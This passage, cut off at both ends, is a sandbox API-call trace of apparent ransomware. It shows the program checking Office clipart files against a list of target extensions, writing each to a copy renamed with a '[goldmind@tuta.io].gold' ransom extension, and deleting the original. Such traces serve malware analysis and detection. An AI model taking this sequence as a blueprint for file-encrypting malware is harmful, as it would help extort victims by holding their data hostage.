(lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.827] lstrlenW (lpString=".ppt") returned 4 [0095.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0095.827] lstrlenW (lpString=".zip") returned 4 [0095.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.827] lstrlenW (lpString=".rar") returned 4 [0095.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.827] lstrlenW (lpString=".bz2") returned 4 [0095.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.827] lstrlenW (lpString=".7z") returned 3 [0095.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0095.827] lstrlenW (lpString=".dbf") returned 4 [0095.827] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0095.827] lstrlenW (lpString=".1cd") returned 4 [0095.827] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00414_.WMF") returned 63 [0095.827] lstrlenW (lpString=".jpg") returned 4 [0095.827] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.827] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.827] lstrlenW (lpString="FD00419_.WMF") returned 12 [0095.827] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.827] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=16396) returned 1 [0095.827] CloseHandle (hObject=0x190) returned 1 [0095.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x20 [0095.828] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.828] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.828] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0095.828] GetLastError () returned 0x0 [0095.828] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x400c, lpOverlapped=0x0) returned 1 [0095.830] WriteFile (in: hFile=0x394, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x4010, lpOverlapped=0x0) returned 1 [0095.831] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0095.831] WriteFile (in: hFile=0x394, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0095.831] SetEndOfFile (hFile=0x394) returned 1 [0095.831] CloseHandle (hObject=0x394) returned 1 [0095.833] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.833] SetEndOfFile (hFile=0x190) returned 1 [0095.835] CloseHandle (hObject=0x190) returned 1 [0095.835] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0095.835] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00419_.wmf")) returned 1 [0095.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0095.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0095.836] lstrlenW (lpString=".doc") returned 4 [0095.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.836] lstrlenW (lpString=".docx") returned 5 [0095.836] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.836] lstrlenW (lpString=".pdf") returned 4 [0095.836] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.836] lstrlenW (lpString=".xls") returned 4 [0095.836] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.836] lstrlenW (lpString=".xlsx") returned 5 [0095.836] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.836] lstrlenW (lpString=".ppt") returned 4 [0095.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0095.836] lstrlenW (lpString=".zip") returned 4 [0095.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.836] lstrlenW (lpString=".rar") returned 4 [0095.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.836] lstrlenW (lpString=".bz2") returned 4 [0095.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.836] lstrlenW (lpString=".7z") returned 3 [0095.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0095.836] lstrlenW (lpString=".dbf") returned 4 [0095.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0095.836] lstrlenW (lpString=".1cd") returned 4 [0095.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0095.837] lstrlenW (lpString=".jpg") returned 4 [0095.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0095.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0095.837] lstrlenW (lpString=".doc") returned 4 [0095.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0095.837] lstrlenW (lpString=".docx") returned 5 [0095.837] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0095.837] lstrlenW (lpString=".pdf") returned 4 [0095.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0095.837] lstrlenW (lpString=".xls") returned 4 [0095.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0095.837] lstrlenW (lpString=".xlsx") returned 5 [0095.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0095.837] lstrlenW (lpString=".ppt") returned 4 [0095.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0095.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0095.837] lstrlenW (lpString=".zip") returned 4 [0095.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0095.837] lstrlenW (lpString=".rar") returned 4 [0095.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0095.837] lstrlenW (lpString=".bz2") returned 4 [0095.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0095.837] lstrlenW (lpString=".7z") returned 3 [0095.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0095.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0095.837] lstrlenW (lpString=".dbf") returned 4 [0095.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0095.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0095.837] lstrlenW (lpString=".1cd") returned 4 [0095.837] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0095.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00419_.WMF") returned 63 [0095.837] lstrlenW (lpString=".jpg") returned 4 [0095.837] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0095.837] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0095.837] lstrlenW (lpString="FD00428_.WMF") returned 12 [0095.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.838] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=4796) returned 1 [0095.838] CloseHandle (hObject=0x190) returned 1 [0095.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x20 [0095.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0095.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0095.838] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.838] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0095.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0095.839] GetLastError () returned 0x0 [0095.839] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x12bc, lpOverlapped=0x0) returned 1 [0096.085] WriteFile (in: hFile=0x394, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x12c0, lpOverlapped=0x0) returned 1 [0096.085] ReadFile (in: hFile=0x190, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0096.086] WriteFile (in: hFile=0x394, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.086] SetEndOfFile (hFile=0x394) returned 1 [0096.086] CloseHandle (hObject=0x394) returned 1 [0096.086] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.086] SetEndOfFile (hFile=0x190) returned 1 [0096.087] CloseHandle (hObject=0x190) returned 1 [0096.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00428_.wmf")) returned 1 [0096.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0096.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0096.088] lstrlenW (lpString=".doc") returned 4 [0096.088] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.088] lstrlenW (lpString=".docx") returned 5 [0096.088] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.088] lstrlenW (lpString=".pdf") returned 4 [0096.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.088] lstrlenW (lpString=".xls") returned 4 [0096.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.088] lstrlenW (lpString=".xlsx") returned 5 [0096.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.088] lstrlenW (lpString=".ppt") returned 4 [0096.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0096.088] lstrlenW (lpString=".zip") returned 4 [0096.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.088] lstrlenW (lpString=".rar") returned 4 [0096.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.088] lstrlenW (lpString=".bz2") returned 4 [0096.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.088] lstrlenW (lpString=".7z") returned 3 [0096.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0096.088] lstrlenW (lpString=".dbf") returned 4 [0096.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0096.089] lstrlenW (lpString=".1cd") returned 4 [0096.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0096.089] lstrlenW (lpString=".jpg") returned 4 [0096.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0096.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0096.089] lstrlenW (lpString=".doc") returned 4 [0096.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.089] lstrlenW (lpString=".docx") returned 5 [0096.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.089] lstrlenW (lpString=".pdf") returned 4 [0096.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.089] lstrlenW (lpString=".xls") returned 4 [0096.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.089] lstrlenW (lpString=".xlsx") returned 5 [0096.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.089] lstrlenW (lpString=".ppt") returned 4 [0096.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0096.089] lstrlenW (lpString=".zip") returned 4 [0096.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.089] lstrlenW (lpString=".rar") returned 4 [0096.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.089] lstrlenW (lpString=".bz2") returned 4 [0096.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.089] lstrlenW (lpString=".7z") returned 3 [0096.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0096.089] lstrlenW (lpString=".dbf") returned 4 [0096.089] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0096.089] lstrlenW (lpString=".1cd") returned 4 [0096.089] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00428_.WMF") returned 63 [0096.089] lstrlenW (lpString=".jpg") returned 4 [0096.089] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.089] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0096.089] lstrlenW (lpString="FD00799_.WMF") returned 12 [0096.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0096.122] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=13968) returned 1 [0096.122] CloseHandle (hObject=0x190) returned 1 [0096.122] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf")) returned 0x20 [0096.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0096.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0096.132] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.132] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0096.132] GetLastError () returned 0x0 [0096.132] ReadFile (in: hFile=0x3b8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x3690, lpOverlapped=0x0) returned 1 [0096.160] WriteFile (in: hFile=0x3a0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x36a0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x36a0, lpOverlapped=0x0) returned 1 [0096.160] ReadFile (in: hFile=0x3b8, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0096.160] WriteFile (in: hFile=0x3a0, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.160] SetEndOfFile (hFile=0x3a0) returned 1 [0096.161] CloseHandle (hObject=0x3a0) returned 1 [0096.161] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0096.161] SetEndOfFile (hFile=0x3b8) returned 1 [0096.162] CloseHandle (hObject=0x3b8) returned 1 [0096.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0096.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00799_.wmf")) returned 1 [0096.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0096.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0096.191] lstrlenW (lpString=".doc") returned 4 [0096.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.191] lstrlenW (lpString=".docx") returned 5 [0096.191] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.191] lstrlenW (lpString=".pdf") returned 4 [0096.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.191] lstrlenW (lpString=".xls") returned 4 [0096.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.191] lstrlenW (lpString=".xlsx") returned 5 [0096.191] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.191] lstrlenW (lpString=".ppt") returned 4 [0096.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0096.191] lstrlenW (lpString=".zip") returned 4 [0096.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.191] lstrlenW (lpString=".rar") returned 4 [0096.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.191] lstrlenW (lpString=".bz2") returned 4 [0096.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.191] lstrlenW (lpString=".7z") returned 3 [0096.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0096.191] lstrlenW (lpString=".dbf") returned 4 [0096.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0096.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0096.192] lstrlenW (lpString=".1cd") returned 4 [0096.192] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0096.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0096.192] lstrlenW (lpString=".jpg") returned 4 [0096.192] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0096.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0096.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0096.192] lstrlenW (lpString=".doc") returned 4 [0096.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0096.192] lstrlenW (lpString=".docx") returned 5 [0096.192] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0096.192] lstrlenW (lpString=".pdf") returned 4 [0096.192] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0096.192] lstrlenW (lpString=".xls") returned 4 [0096.192] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0096.192] lstrlenW (lpString=".xlsx") returned 5 [0096.192] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0096.192] lstrlenW (lpString=".ppt") returned 4 [0096.192] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0096.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00799_.WMF") returned 63 [0096.192] lstrlenW (lpString=".zip") returned 4 [0096.192] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0096.192] lstrlenW (lpString=".rar") returned 4 [0096.192] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0096.192] lstrlenW (lpString=".bz2") returned 4 [0096.192] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0096.192] lstrlenW (lpString=".7z") returned 3 [0096.192] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0096.192] lstrlenW (lpString="C:\\Program Files\\Microsoft 